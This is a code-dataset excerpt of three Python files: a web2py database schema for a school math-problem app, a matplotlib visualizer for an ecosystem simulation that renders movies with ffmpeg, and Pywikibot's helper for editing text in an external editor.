+{"seq_id":"133179019","text":"from gluon.tools import Auth, Crud\n\ndb=DAL(\"sqlite://storage.sqlite\")\nauth=Auth(db)\ncrud=Crud(db)\nauth.define_tables()\n\n#pulled from tracks\ndb.define_table(\"advisor\",\n     Field(\"first_name\",\"string\"),\n     Field(\"last_name\",\"string\"),\n     Field(\"email\",\"string\"),\n     format='%(first_name)s %(last_name)s')\n\n\n#pulled from tracks\ndb.define_table(\"student\",\n     Field(\"first_name\",\"string\"),\n     Field(\"last_name\",\"string\"),\n     Field(\"email\",\"string\"),\n     Field(\"grad_year\",\"integer\"),\n     Field(\"advisor_id\", 'reference advisor'),\n     Field('service_hours', 'integer', default=0),\n     Field('registered','boolean',required=True),\n     format='%(first_name)s %(last_name)s')\n     \ndb.student.advisor_id.requires=IS_IN_DB(db,db.advisor.id,'%(first_name)s %(last_name)s')\n\n\n#pulled from tracks\ndb.define_table(\"teacher\",\n     Field(\"first_name\",\"string\"),\n     Field(\"last_name\",\"string\"),\n     Field(\"email\",\"string\"),\n     format='%(first_name)s %(last_name)s')\n\n\n#pulled from tracks\ndb.define_table('chair',\n                Field('first_name',required=True),\n                Field('last_name',required=True),\n                Field('email',required=True),\n                format='%(first_name)s %(last_name)s')\n \n\ndb.chair.email.requires=IS_EMAIL()\n\n\n#pulled from tracks\ndb.define_table('department',\n                 Field('name',required=True),\n                 Field('chair_id','reference chair', required=True),\n                 format='%(name)s')\n                      \ndb.department.chair_id.requires=IS_IN_DB(db,db.chair.id,'%(first_name)s %(last_name)s')\n\n#pulled from tracks\ndb.define_table(\"course\",\n     Field(\"name\",\"string\"),\n     Field(\"section\",\"string\"),\n     Field(\"department_id\",\"reference department\"),\n     Field(\"makes_rec\",\"boolean\"),\n     format='%(name)s Section-%(section)s')\n\ndb.course.department_id.requires=IS_IN_DB(db,db.department.id,'%(name)s')\n\n#pulled from tracks\ndb.define_table('student_course',\n                Field('student_id','reference student', required=True),\n                Field('course_id','reference course',required=True),\n                format='%(student_id)s-%(course_id)s')\n\ndb.student_course.student_id.requires=IS_IN_DB(db,db.student.id,'%(first_name)s %(last_name)s')\ndb.student_course.course_id.requires=IS_IN_DB(db,db.course.id,'%(name)s Section-%(section)s')\n\n\n\n#pulled from tracks\ndb.define_table('teacher_course',\n                Field('teacher_id','reference teacher', required=True),\n                Field('course_id','reference course',required=True),\n                format='%(teacher_id)s-%(course_id)s')\n\n\ndb.teacher_course.teacher_id.requires=IS_IN_DB(db,db.teacher.id,'%(first_name)s %(last_name)s')\ndb.teacher_course.course_id.requires=IS_IN_DB(db,db.course.id,'%(name)s Section-%(section)s')\n\ndb.define_table('problem_type',\n                Field('teacher_id','reference auth_user',required=True),\n                Field('name','string',required=True),\n                Field('given_list','text',required=True),\n                Field('prompt','text',required=True),\n                Field('sol_alg','text',required=True),\n                format='%(name)s')\n\ndb.define_table('problem_type_given_type',\n                Field('problem_type_id','reference problem_type',required=True),\n                Field('name','string',required=True),\n                Field('lower_bound','integer',default=1),\n                Field('upper_bound','integer',default=20))\n\ndb.define_table('problem_type_course',\n                Field('problem_type_id','reference problem_type',required=True),\n                Field('course_id','reference course',required=True),\n                )\n\ndb.define_table('problem',\n                Field('user_id','reference auth_user',required=True),\n                Field('problem_type_id','reference problem_type',required=True),\n                Field('answered','boolean',default=False,required=True),\n                Field('solution','decimal(2,10)',required=True),\n                format='%(id)s')\n\ndb.define_table('problem_given',\n                Field('given_type_id','reference problem_type_given_type',required = True),\n                Field('given','integer',required=True),\n                Field('problem_id','reference problem',required=False))\n                #Field('problem_type_id','reference problem_type',required=False),\n                #Field('user_id','reference auth_user',required=False))\n                \n                \n\n#num_tries currently does not update in controller\ndb.define_table('user_score',\n                Field('user_id','reference auth_user',required=True),\n                Field('problem_type_id','reference problem_type',required=True),\n                Field('num_tries','integer',required=True),\n                Field('num_solved','integer',required=True))\n","sub_path":"models/db.py","file_name":"db.py","file_ext":"py","file_size_in_byte":4787,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"334012878","text":"\n__author__ = 'Hans Kristian Lunda, Mikko Rekstad'\n__email__ = 'hans.kristian.lunda@nmbu.no, mikkreks@nmbu.no'\n\nimport matplotlib.pyplot as plt\nimport matplotlib as mpl\nimport matplotlib.colors as mcolors\nimport numpy as np\nimport seaborn as sb\nimport subprocess\nimport os\nimport math\n\nclass Visualize(object):\n    \"\"\"Provides user interface for simulation, including visualization.\"\"\"\n    _DEFAULT_MOVIE_FORMAT = 'mp4'\n\n    def __init__(self, map, frequency=10, ymax=10000, years=200, img_dir=None, img_name='biosim',\n                 img_fmt='png', cmax_animals=None):\n        \"\"\"\n        :param sys_size:  system size, e.g. (5, 10)\n        :type sys_size: (int, int)\n        :param noise: noise level\n        :type noise: float\n        :param seed: random generator seed\n        :type seed: int\n        :param img_dir: directory for image files; no images if None\n        :type img_dir: str\n        :param img_name: beginning of name for image files\n        :type img_name: str\n        :param img_fmt: image file format suffix, default 'png'\n        :type img_fmt: str\n        \"\"\"\n        self.i = years / frequency\n        self._ymax = ymax\n        self.frequency = frequency\n        self.years = years\n        self.cmax_animals = cmax_animals\n\n        if img_dir is not None:\n            self._img_base = img_dir #os.path.join(img_dir, img_name)\n        else:\n            self._img_base = None\n        self._img_fmt = img_fmt\n\n        self._step = 0\n        self._final_step = years\n        self._img_ctr = 0\n\n        # the following will be initialized by _setup_graphics\n        self._fig = None\n        self._map_ax = None\n        self._img_axis = None\n        self._stats_ax = None\n        self._herbivore_ax = None\n        self._carnivore_ax = None\n\n        self._herbivore_line = None\n        self._carnivore_line = None\n        self._total_line = None\n\n        self._setup_graphics(map)\n\n        self.herbi = np.full(self._final_step, np.nan)\n\n    def _setup_graphics(self, map):\n        \"\"\"\n        Creates subplots and displays the map. Also defines the lines wich is\n        going to be displayed in the stats graph. Also shows heatmaps with\n        current population of herbivores and carnivores.\n        \"\"\"\n\n        # create new figure window\n        if self._fig is None:\n            self._fig = plt.figure()\n            self._fig.subplots_adjust(left=None, bottom=None, right=None,\n                                      top=None, wspace=0.5, hspace=0.5)\n\n        # Add left subplot for images created with imshow().\n        # We cannot create the actual ImageAxis object before we know\n        # the size of the image, so we delay its creation.\n        #ap_plot = PlotMap(map)\n        cmap = mpl.colors.ListedColormap(['royalblue', 'grey',\n                                  'khaki', 'honeydew', 'forestgreen'])\n        if self._map_ax is None:\n            self._map_ax = self._fig.add_subplot(2, 2, 1)\n            self._map_ax.set_title('Map of Rossumøya')\n            # self._img_axis = None\n            self.im_map = self._map_ax.imshow(map.map_matrix,\n                                                          vmax=4, cmap=cmap)\n\n        # Add right subplot for line graph of mean.\n        if self._stats_ax is None:\n            self._stats_ax = self._fig.add_subplot(2, 2, 2)\n            self._stats_ax.set_title('Population')\n            self._stats_ax.set_ylim(0, self._ymax)\n            self._stats_ax.set_xlim(0, self._final_step)\n\n        # needs updating on subsequent calls to simulate()\n        self._stats_ax.set_xlim(0, self._final_step + 1)\n\n        # Define the lines, and plot them.\n        if self._herbivore_line is None:\n            stats_plot = self._stats_ax.plot(np.arange(0, self._final_step),\n                                           np.full(self._final_step, np.nan))\n            self._herbivore_line = stats_plot[0]\n\n        if self._carnivore_line is None:\n            stats_plot = self._stats_ax.plot(np.arange(0, self._final_step),\n                                           np.full(self._final_step, np.nan))\n            self._carnivore_line = stats_plot[0]\n\n        if self._total_line is None:\n            stats_plot = self._stats_ax.plot(np.arange(0, self._final_step),\n                                           np.full(self._final_step, np.nan))\n            self._total_line = stats_plot[0]\n\n        # Creates herbivore heatmap\n        if self._herbivore_ax is None:\n            self._herbivore_ax = self._fig.add_subplot(2, 2, 3)\n            self._herbivore_ax.set_title('Spread of herbivores')\n            self.im_herbivore = self._herbivore_ax.imshow(map.map_herbivores,\n                                                          vmax=300)\n\n        # Creates carnivore heatmap\n        if self._carnivore_ax is None:\n            self._carnivore_ax = self._fig.add_subplot(2, 2, 4)\n            self._carnivore_ax.set_title('Spread of carnivores')\n            self.im_carnivore = self._carnivore_ax.imshow(map.map_herbivores,\n                                                          vmax=150)\n\n        self._stats_ax.legend((self._herbivore_line, self._carnivore_line,\n                               self._total_line), ('Herbivores', 'Carnivores',\n                                                   'Total'), prop={'size':6})\n\n    def update_graphics(self, map, current_year):\n        herbivore, carnivore, total = map.get_populations()\n        self._update_stats_graph(herbivore, carnivore, current_year)\n        map.get_population_maps()\n        self._update_herbivore_spread(map.map_herbivores)\n        self._update_carnivore_spread(map.map_carnivores)\n        plt.pause(1e-2)\n\n\n    def _update_stats_graph(self, herbivore, carnivore, current_year):\n        \"\"\"\n        Updates the graphics for the stats.\n        :param herbivore: int\n        :param carnivore: int\n        :param current_year: int\n        :return:\n        \"\"\"\n\n        # print(type(self._herbivore_line))\n        #print(herbivore, carnivore)\n\n        herbivore_data = self._herbivore_line.get_ydata()\n        carnivore_data = self._carnivore_line.get_ydata()\n        total_data = self._total_line.get_ydata()\n\n        # Converts nan values\n        added_herbivores = 0\n        added_carnivores = 0\n        for i in range(current_year):\n            if math.isnan(herbivore_data[i]):\n            # if herbivore_data[i] is NaN:\n                if added_herbivores == 0:\n                    herbivore_step = added_herbivores / self.frequency\n                    carnivore_step = added_carnivores / self.frequency\n                if i != 0:\n                    herbivore_data[i] = herbivore_data[i-1] + herbivore_step\n                    carnivore_data[i] = carnivore_data[i - 1] + carnivore_step\n                    total_data[i] = herbivore_data[i] + carnivore_data[i]\n\n\n\n        herbivore_data[current_year] = herbivore\n        carnivore_data[current_year] = carnivore\n        total_data[current_year] = herbivore + carnivore\n\n        #self.herbi[current_year] = herbivore\n\n        # print('herbivore_data', herbivore_data)\n\n\n        self._herbivore_line.set_ydata(herbivore_data)\n        self._carnivore_line.set_ydata(carnivore_data)\n        self._total_line.set_ydata(total_data)\n        plt.draw()\n        #self.i += 1\n\n\n    def _update_herbivore_spread(self, map_herbivores):\n        #sb.heatmap(herbivore_spread, ax=self._herbivore_ax, cbar=False)\n        # print('Herbs: ', map_herbivores)\n        self.im_herbivore.set_data(map_herbivores)\n        #print(map_herbivores)\n\n    def _update_carnivore_spread(self, map_carnivores):\n        self.im_carnivore.set_data(map_carnivores)\n\n        #sb.heatmap(carnivore_spread, ax=self._carnivore_ax, cbar=False)\n\n    def save_graphics(self):\n        \"\"\"Saves graphics to file if file name given.\"\"\"\n\n        if self._img_base is None:\n            return\n\n        plt.savefig('{base}_{num:05d}.{type}'.format(base=self._img_base,\n                                                     num=self._img_ctr,\n                                                     type=self._img_fmt))\n        self._img_ctr += 1\n\n    def make_movie(self, movie_fmt=_DEFAULT_MOVIE_FORMAT):\n        \"\"\"\n        Creates MPEG4 movie from visualization images saved.\n        .. :note:\n            Requires ffmpeg\n        The movie is stored as img_base + movie_fmt\n        \"\"\"\n        _FFMPEG_BINARY = 'C:\\\\Users\\\\Hans Kristian\\\\Downloads\\\\ffmpeg-20200115-0dc0837-win64-static\\\\ffmpeg-20200115-0dc0837-win64-static.ffmpeg.exe'\n\n        if self._img_base is None:\n            raise RuntimeError(\"No filename defined.\")\n\n        if movie_fmt == 'mp4':\n            try:\n                # Parameters chosen according to http://trac.ffmpeg.org/wiki/Encode/H.264,\n                # section \"Compatibility\"\n                subprocess.check_call([_FFMPEG_BINARY,\n                                       '-i',\n                                       '{}_%05d.png'.format(self._img_base),\n                                       '-y',\n                                       '-profile:v', 'baseline',\n                                       '-level', '3.0',\n                                       '-pix_fmt', 'yuv420p',\n                                       '{}.{}'.format(self._img_base,\n                                                      movie_fmt)])\n            except subprocess.CalledProcessError as err:\n                raise RuntimeError('ERROR: ffmpeg failed with: {}'.format(err))\n\nclass PlotMap:\n    map_colors = {\n        0: mcolors.to_rgba(\"navy\"),\n        1: mcolors.to_rgba(\"lightslategrey\"),\n        2: mcolors.to_rgba(\"salmon\"),\n        3: mcolors.to_rgba(\"#e1ab62\"),\n        4: mcolors.to_rgba(\"forestgreen\"),\n    }\n    map_labels = {\n        \"O\": \"Ocean\",\n        \"M\": \"Mountain\",\n        \"D\": \"Desert\",\n        \"S\": \"Savannah\",\n        \"J\": \"Jungle\",\n    }\n\n    def __init__(self, map):\n        self.map = map\n        self.map_matrix = map.map_matrix\n\n\n\n\n\n\n\n\n\n\nif __name__ == '__main__':\n    test = Visualize()\n    test._setup_graphics()\n    test._update_stats_graph(100, 10)\n    test._update_stats_graph(1000, 31)\n    test._update_stats_graph(5000, 142)\n    test._update_stats_graph(10000, 4000)\n\n    # test.update(300, 60)\n\n","sub_path":"src/biosim/visualize.py","file_name":"visualize.py","file_ext":"py","file_size_in_byte":10180,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"69512748","text":"#!/usr/bin/python\n\"\"\"Text editor class for your favourite editor.\"\"\"\n#\n# (C) Pywikibot team, 2004-2020\n#\n# Distributed under the terms of the MIT license.\n#\nimport codecs\nimport os\nimport subprocess\nimport tempfile\n\nfrom sys import platform\nfrom textwrap import fill\nfrom typing import Optional\n\nimport pywikibot\n\nfrom pywikibot import config\n\ntry:\n    from pywikibot.userinterfaces import gui\nexcept ImportError as e:\n    gui = e\n\n\nclass TextEditor:\n\n    \"\"\"Text editor.\"\"\"\n\n    def _command(self, file_name, text, jump_index=None):\n        \"\"\"Return editor selected in user-config.py.\"\"\"\n        if jump_index:\n            # Some editors make it possible to mark occurrences of substrings,\n            # or to jump to the line of the first occurrence.\n            # TODO: Find a better solution than hardcoding these, e.g. a config\n            # option.\n            line = text[:jump_index].count('\\n')\n            column = jump_index - (text[:jump_index].rfind('\\n') + 1)\n        else:\n            line = column = 0\n        # Linux editors. We use startswith() because some users might use\n        # parameters.\n        if config.editor.startswith('kate'):\n            command = ['-l', '%i' % (line + 1), '-c', '%i' % (column + 1)]\n        elif config.editor.startswith('gedit'):\n            command = ['+%i' % (line + 1)]  # seems not to support columns\n        elif config.editor.startswith('emacs'):\n            command = ['+%i' % (line + 1)]  # seems not to support columns\n        elif config.editor.startswith('jedit'):\n            command = ['+line:%i' % (line + 1)]  # seems not to support columns\n        elif config.editor.startswith('vim'):\n            command = ['+%i' % (line + 1)]  # seems not to support columns\n        elif config.editor.startswith('nano'):\n            command = ['+%i,%i' % (line + 1, column + 1)]\n        # Windows editors\n        elif config.editor.lower().endswith('notepad++.exe'):\n            command = ['-n%i' % (line + 1)]  # seems not to support columns\n        else:\n            command = []\n\n        # See T102465 for problems relating to using config.editor unparsed.\n        command = [config.editor] + command + [file_name]\n        pywikibot.log('Running editor: %s' % TextEditor._concat(command))\n        return command\n\n    @staticmethod\n    def _concat(command):\n        return ' '.join(\"'{0}'\".format(part) if ' ' in part else part\n                        for part in command)\n\n    def edit(self, text: str, jumpIndex: Optional[int] = None,\n             highlight: Optional[str] = None) -> Optional[str]:\n        \"\"\"\n        Call the editor and thus allows the user to change the text.\n\n        Halts the thread's operation until the editor is closed.\n\n        @param text: the text to be edited\n        @param jumpIndex: position at which to put the caret\n        @param highlight: each occurrence of this substring will be highlighted\n        @return: the modified text, or None if the user didn't save the text\n            file in his text editor\n        \"\"\"\n        if config.editor:\n            handle, tempFilename = tempfile.mkstemp()\n            tempFilename = '{}.{}'.format(tempFilename,\n                                          config.editor_filename_extension)\n            try:\n                with codecs.open(tempFilename, 'w',\n                                 encoding=config.editor_encoding) as tempFile:\n                    tempFile.write(text)\n                creationDate = os.stat(tempFilename).st_mtime\n                cmd = self._command(tempFilename, text, jumpIndex)\n                subprocess.run(cmd, shell=platform == 'win32')\n                lastChangeDate = os.stat(tempFilename).st_mtime\n                if lastChangeDate == creationDate:\n                    # Nothing changed\n                    return None\n\n                with codecs.open(tempFilename, 'r',\n                                 encoding=config.editor_encoding) as temp_file:\n                    newcontent = temp_file.read()\n                return newcontent\n            finally:\n                os.close(handle)\n                os.unlink(tempFilename)\n\n        if isinstance(gui, ImportError):\n            raise ImportError(fill(\n                'Could not load GUI modules: {}. No editor available. '\n                'Set your favourite editor in user-config.py \"editor\", '\n                'or install python packages tkinter and idlelib, which '\n                'are typically part of Python but may be packaged separately '\n                'on your platform.'.format(gui)) + '\\n')\n\n        return pywikibot.ui.editText(text, jumpIndex=jumpIndex,\n                                     highlight=highlight)\n","sub_path":"pywikibot/editor.py","file_name":"editor.py","file_ext":"py","file_size_in_byte":4660,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}